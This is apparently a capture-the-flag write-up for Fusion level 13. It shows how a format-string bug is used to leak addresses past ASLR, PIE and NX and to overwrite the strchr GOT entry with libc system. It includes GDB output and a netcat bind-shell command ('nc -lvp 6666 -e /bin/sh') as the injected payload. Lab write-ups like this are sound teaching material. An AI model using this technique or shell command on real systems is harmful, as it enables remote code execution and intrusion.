Solving fusion level 13

Intro

about

Fusion’s level 13 is a Formatstring vulnerable application. The website doesn’t provide us any source code or extra info.

vuln_disc1

When playing with the application its easy to find the vulnerability, we can see that the ‘name’,’password’,’e-mail’ are vulnerable.

Since I don’t have the source code I use IDA to decompile the binary. below you can see the two most interesting functions ‘process’ and ‘get_string’

process

ida_process

get_string

ida_getline

If we look at ‘process’ we can see its uses ‘get_string’ to retrieve the username,password and e-mail. The buffers used here are limited to 63 chars.
The asprintf at line 23 formats all the given data into the ‘message_out’ buffer and then passes it on to the fprintf at line 29.

The next logical step would be to send it a buffer like ‘AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x..’ in order to get the index of our data on the stack(‘AAAA’) but since we  have a limited buffer I couldn’t get enough of the stack dumped
so i had to code a little fuzzer which uses the ‘%index$x’ method.

fuzzer source code: http://pastebin.com/2rdr7jjF

When running the fuzzer I got the following result..
fuzzer_test_and_verify

After manual verifying it we can see that our data is located at index 522.

Now since the binary uses full ASLR/NX/PIE I needed to get a binary address from the stack so attached GDB to the process and placed a breakpoint on the fprintf and let it continue.
Once the breakpoint was hit I first checked the current base the binary was in using ‘i proc map’

(gdb) i proc map
process 12992
cmdline = '/opt/fusion/bin/level13'
cwd = '/'
exe = '/opt/fusion/bin/level13'
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	....
	0xb783c000 0xb783f000     0x3000          0       /opt/fusion/bin/level13
	0xb783f000 0xb7840000     0x1000     0x2000       /opt/fusion/bin/level13
	....

Next thing i did was dumping 1600 bytes from the stack in order to find some address which belongs to our binary, since the output is long i posted it on pastebin(http://pastebin.com/27EF41aE)
Doing a text search on anything starting with ‘b783c’ results in 3 hits on ‘0xb783c584’. when looking up this address in GDB we can see it points to the ‘libc.so.6’ string at raw offset 0x584 in the binary

(gdb) x/s 0xb783c584
0xb783c584:	 "libc.so.6"

Now since I was abit in a coding mood I decided to code a stack dumper based on the formatstring vulnerability which dumps an amount of the stack and shows the index of the data, this should help to quickly spot the address i am looking for and the index who belongs to it.

stack dumper source code: http://pastebin.com/sdbLEKdU

Below here we can see the trimmed output of the dumper and we can see that address we wanna leak is at index 223.

[+] Stack dumper started
00000001: bfdeb43c bfdeb47c bfdeb4bc 00000000
....
00000221: 00030000 b77a5020 b77a6584 b77a5904
....
[-] Stack dumper finished

A manual check tells us that the data is correct and consistent at this index

verify_leak

So now I knew the index of our data on the stack(522) and an index which can used to leak the baseaddress from(223). The common known methods of exploiting a formatstring vulnerability’s (overwrite GOT/DTOR/..) are based on the fact we can redirect the code execution to some user controlled code(shellcode), but since this binary uses NX non of the memory will be executable so I had to come up with some different method.

What if?

What if I could take a GOT entry of which I control its first argument when being called and point it to ‘libc_system’ resulting in a ‘System(attacker_argument, …);’When we look at the ‘process’ function from the point where the vulnerability occurs(fprintf) and forward we see ‘get_string’ being called ..

  fprintf(stdout, message_out);
  fflush(stdout);
  free(message_out);
  get_string("Would you like to try again? ", answer, 63);
char *__cdecl get_string(char *format, char *s, int n)
{
  char *result; // eax@5 MAPDST

  printf(format);
  fflush(stdout);
  if ( !fgets(s, n, stdin) )
    errx(1, "Unable to read for %s\n", format);
  result = strchr(s, '\r');
  if ( result )
    *result = 0;
  result = strchr(s, '\n');
  if ( result )
    *result = 0;
  return result;
}

The ‘get_string’ function reads data from the stdin into the ‘s’ buffer and then uses ‘strchr’ to strip it from newlines which makes ‘strchr’ our perfect candidate for the attack. Changing the strchr GOT to system would result in a ‘System(s, “\r”)’ and ‘s’ would be whatever we send it, for example ‘/bin/nc.traditional -lvp 6666 -e /bin/sh’

In order  to calculate the address of ‘System’ I need to calculate the distance between GOT_strchr and libc_system, so attached GDB once more

Calculate the virtual address of the strchr GOT entry

(gdb) x/wx 0xb7821000 + 0x00003BC8
0xb7824bc8 strchr@got.plt:	0xb7821bb6

Get the virtual address of the system function

(gdb) p system
$1 = {text variable, no debug info} 0xb76b4b20 __libc_system

Subtract them to get the distance

(gdb) p/x $1 - 0xb7824bc8
$2 = 0xffe8ff58

Exploit!

The general idea is to first send a registration request to leak the XXXXX584 address and subtract 0x584 from it to get the baseaddress then use that to calculate the address of the strchr GOT entry(baseaddress + 0x00003BC8) and then use that address to calculate the current system address by adding 0xFFE8FF58 to it. We continue the registration loop by sending a ‘yes’ on the ‘Would you like to try again?’ question to do another registration attempt, but this time we send our crafted formatstring pattern which will make strchr point to system and at the try again message we send our command string to be used in the system call.

Exploit source code: http://pastebin.com/7k5eU1Nq

The ‘generate_formatstr_exploit’ etc. is part of some formatstring vulnerability pattern generator I wrote to avoid creating these sexy patterns manually.

exploit1

Finally

Once more, another fun challenge! Formatstring vulnerability’s are pretty useful when dealing with ASLR since they allow you to dump stack data and leak addresses related to the binary/library helping to recover a baseaddress.
The fact I couldn’t simply redirect to my shellcode because of the NX made it more fun since opened a door to a different approach.

Some nice resource on formatstring exploitation: http://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf